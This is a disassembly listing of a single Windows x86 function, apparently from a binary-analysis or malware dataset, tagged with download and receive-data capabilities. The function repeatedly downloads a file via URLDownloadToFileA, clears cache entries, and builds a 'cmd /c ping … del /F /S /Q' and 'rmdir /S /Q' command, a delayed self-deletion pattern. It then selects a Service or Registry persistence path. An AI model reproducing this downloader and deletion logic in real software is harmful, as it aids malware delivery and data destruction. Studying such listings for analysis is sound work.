Function at 0x41f7a4
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [0x65960b], 1
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
mov ecx, 2
call fcn.00401108
add esp, 8
mov dword [ebp - 0xc], eax
mov eax, 0x4763eb
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
mov eax, 0x451640
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.0041fb4e
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41f816
push ebx
call fcn.004268af
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41f826
push ebx
call fcn.004268af
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41f836
push ebx
call fcn.004268af
add esp, 4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41f84b
jmp 0x41f88d
cmp dword [ebp - 8], 5
jne 0x41f85a
jmp 0x41f88d
mov dword [ebp - 0xc], esp
push 0x3e8
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f888
push 0x171
push 0x4010a8c
push 6
call fcn.004268b5
add esp, 0xc
jmp 0x41f7c5
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 1
je 0x41f9d8
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f8cc
push 0x283
push 0x4010a8c
push 6
call fcn.004268b5
add esp, 0xc
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
mov ecx, 2
call fcn.00401108
add esp, 8
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
push 0
push dword [ebp - 0xc]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0
xor eax, eax
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x41f926
push 0x2f6
push 0x4010a8c
push 6
call fcn.004268b5
add esp, 0xc
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41f939
push ebx
call fcn.004268af
add esp, 4
cmp dword [ebp - 0x14], 0
jne 0x41f94f
mov dword [ebp - 4], 1
jmp 0x41f956
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f984
push 0x385
push 0x4010a8c
push 6
call fcn.004268b5
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 4], 0
je 0x41f996
jmp 0x41f9d8
cmp dword [ebp - 8], 5
jne 0x41f9a5
jmp 0x41f9d8
mov dword [ebp - 0xc], esp
push 0x3e8
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f9d3
push 0x4a2
push 0x4010a8c
push 6
call fcn.004268b5
add esp, 0xc
jmp 0x41f89e
cmp dword [ebp - 4], 0
je 0x41fb3e
push 0
mov ebx, 0x104
call fcn.00426f40
add esp, 4
mov dword [ebp - 0xc], eax
push 0
mov ebx, 0x108
call fcn.00426fd0
add esp, 4
mov dword [ebp - 0x10], eax
push 0
mov ebx, 0x104
call fcn.00426f40
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
push 0x4763ef
push dword [ebp - 0x14]
push str.__rmdir__S__Q
push dword [ebp - 0x10]
push 0x451318
push dword [ebp - 0xc]
push str.cmd__c_ping_127.0.0.1__n_30__del__F__S__Q
mov ecx, 9
call fcn.00401108
add esp, 0x24
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41fa68
push ebx
call fcn.004268af
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41fa78
push ebx
call fcn.004268af
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41fa88
push ebx
call fcn.004268af
add esp, 4
push 0x80000301
push 0
push 1
push closesocket
push 0
push 0
push 0x80000004
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x41fab3
mov eax, 0x45131a
push eax
push 3
mov ebx, 0x2c0
call fcn.00427080
add esp, 0x28
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41fad6
push ebx
call fcn.004268af
add esp, 4
push str.Service
push dword [0x6595b7]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x41fafc
push 0x65954f
call fcn.004207f4
push str.Registry
push dword [0x6595b7]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x41fb1d
call fcn.00410c32
push str.Null
push dword [0x6595b7]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x41fb3e
call fcn.00410c32
mov dword [0x65960b], 0
mov esp, ebp
pop ebp
ret 0xc